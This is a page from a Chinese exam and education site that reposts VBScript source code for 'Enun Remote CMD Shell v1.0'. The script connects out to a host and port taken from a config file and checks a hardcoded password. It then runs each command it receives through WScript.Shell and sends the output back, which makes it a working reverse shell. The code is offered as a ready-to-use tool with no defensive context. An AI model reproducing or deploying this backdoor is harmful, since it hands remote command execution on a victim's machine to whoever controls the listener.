VBScript Enun Remote CMD Shell代碼
來源:易賢網(wǎng) 閱讀:1073 次 日期:2014-05-09 16:51:43
溫馨提示:易賢網(wǎng)小編為您整理了“VBScript Enun Remote CMD Shell代碼”,方便廣大網(wǎng)友查閱!

效果如圖:

1.jpg

代碼如下:

'============================

' Enun Remote CMDShell v 1.0

'============================

Option Explicit

CONST ACCOUNT_LOCK_TIME = 600000 '賬戶鎖定時(shí)間,10分鐘

CONST LOCKOUT_BAD_COUNT = 3 '密碼失敗次數(shù)

CONST DEFAULT_WAIT_TIME = 1000 '默認(rèn)延時(shí),1秒

CONST DEFAULT_TIME_OUT = 60000 '默認(rèn)超時(shí),60秒

Public WinSocket, sRevData, Count

Do

On Error Resume Next

Do While (WinSocket.State <> 7)

Dim ObjectFSO, GetConfig, Line, Host, Port, i

Set WinSocket = WScript.CreateObject("MSWinsock.Winsock")

Set ObjectFSO = CreateObject("Scripting.FileSystemObject")

Set GetConfig = ObjectFSO.OpenTextFile(".\enunrc.ini", 1)

For i = 1 To 3

Line = GetConfig.ReadLine

If InStr(Line,"Host") > 0 Then Host = Split(Line, "=", -1, 1)(1)

If InStr(Line,"Port") > 0 Then Port = Split(Line, "=", -1, 1)(1)

Next

If (Len(Host) = 0) Then Host = "127.0.0.1"

If (Len(Port) = 0) Then Port = "8090"

WinSocket.Protocol = 0

WinSocket.RemoteHost = Host

WinSocket.RemotePort = Port

WinSocket.Connect

WScript.Sleep DEFAULT_WAIT_TIME * 5

Call TrackScript(2, WinSocket.State, WinSocket.BytesReceived)

'Setp: 2

Loop

Do While (WinSocket.State <> 9 and WinSocket.State <> 0)

Dim AuthKey, LockoutBadCount, TIMEOUT_M, TIMEOUT_N

TIMEOUT_N = 0

WinSocket.SendData WinSocket.LocalHostName & " is Connected, Enter Password: "

Do While (WinSocket.BytesReceived = 0 and WinSocket.State <> 9 and WinSocket.State <> 0)

TIMEOUT_N = TIMEOUT_N + 1000

Call ControlTimeout(TIMEOUT_N)

Loop

WinSocket.GetData Authkey, vbString

If Split(Authkey, chr(10), -1, 1)(0) = "veteran" Then

WinSocket.SendData "Logon Success, Welcome!" & vbcrlf

sRevData = "veteran"

Do While (WinSocket.BytesReceived = 0 and WinSocket.State <> 9 and WinSocket.State <> 0)

Dim ShellObj, Executes

Set ShellObj = CreateObject("WScript.Shell")

Set Executes = ShellObj.Exec(Split(sRevData, chr(10), -1, 1)(0))

WinSocket.SendData Executes.StdOut.ReadAll

WinSocket.SendData Executes.StdErr.ReadAll

If (Len(sRevData) > 0) Then

TIMEOUT_M = 0

WinSocket.SendData vbcrlf & "[" & WinSocket.LocalHostName & "@enun]#: "

Else

Do While (WinSocket.BytesReceived = 0 and WinSocket.State <> 9 and WinSocket.State <> 0)

TIMEOUT_M = TIMEOUT_M + 1000

Call ControlTimeout(TIMEOUT_M)

Loop

End If

If (LCase(Left(sRevData, 4)) = "exit") Then WinSocket.Close

WinSocket.GetData sRevData, vbString

WScript.Sleep DEFAULT_WAIT_TIME

Call TrackScript(5, WinSocket.State, WinSocket.BytesReceived)

'Setp: 5

Loop

Else

LockoutBadCount = LockoutBadCount + 1

WinSocket.SendData "Logon fail: Unknown user name or bad password." & vbcrlf

WScript.Sleep DEFAULT_WAIT_TIME

End If

If (LockoutBadCount = LOCKOUT_BAD_COUNT) Then

WinSocket.SendData "Failed too many times, the account has been locked!" & vbcrlf

WScript.Sleep DEFAULT_WAIT_TIME

WinSocket.Close

LockoutBadCount = 0

WScript.Sleep ACCOUNT_LOCK_TIME

'鎖定賬戶

End If

Call TrackScript(3, WinSocket.State, WinSocket.BytesReceived)

'Setp: 3

Loop

Call TrackScript(1, WinSocket.State, WinSocket.BytesReceived)

'Setp: 1

Loop

'=======================

'Control Timeout.

'=======================

Public Sub ControlTimeout(Count)

If Count = DEFAULT_TIME_OUT Then

WinSocket.SendData vbcrlf & "Local server response timeout, Please reconnect ..." & vbcrlf

WScript.Sleep DEFAULT_WAIT_TIME

WinSocket.Close

'控制端60秒內(nèi)無輸入的話,連接自動(dòng)斷開,可即時(shí)連接。

Else

WScript.Sleep DEFAULT_WAIT_TIME

End If

Call TrackScript(4, WinSocket.State, WinSocket.BytesReceived)

'Setp: 4

End Sub

'=======================

'Track Script.

'=======================

Public Sub TrackScript(MyStep, StateCode, BytesReceived)

WScript.echo "MyStep: " & MyStep & ", StateCode: " & StateCode & ", Received: " & BytesReceived & " Bytes"

End Sub

更多信息請(qǐng)查看IT技術(shù)專欄

更多信息請(qǐng)查看腳本欄目
易賢網(wǎng)手機(jī)網(wǎng)站地址:VBScript Enun Remote CMD Shell代碼
由于各方面情況的不斷調(diào)整與變化,易賢網(wǎng)提供的所有考試信息和咨詢回復(fù)僅供參考,敬請(qǐng)考生以權(quán)威部門公布的正式信息和咨詢?yōu)闇?zhǔn)!

2025國(guó)考·省考課程試聽報(bào)名

  • 報(bào)班類型
  • 姓名
  • 手機(jī)號(hào)
  • 驗(yàn)證碼
關(guān)于我們 | 聯(lián)系我們 | 人才招聘 | 網(wǎng)站聲明 | 網(wǎng)站幫助 | 非正式的簡(jiǎn)要咨詢 | 簡(jiǎn)要咨詢須知 | 新媒體/短視頻平臺(tái) | 手機(jī)站點(diǎn) | 投訴建議
工業(yè)和信息化部備案號(hào):滇ICP備2023014141號(hào)-1 云南省教育廳備案號(hào):云教ICP備0901021 滇公網(wǎng)安備53010202001879號(hào) 人力資源服務(wù)許可證:(云)人服證字(2023)第0102001523號(hào)
云南網(wǎng)警備案專用圖標(biāo)
聯(lián)系電話:0871-65099533/13759567129 獲取招聘考試信息及咨詢關(guān)注公眾號(hào):hfpxwx
咨詢QQ:1093837350(9:00—18:00)版權(quán)所有:易賢網(wǎng)
云南網(wǎng)警報(bào)警專用圖標(biāo)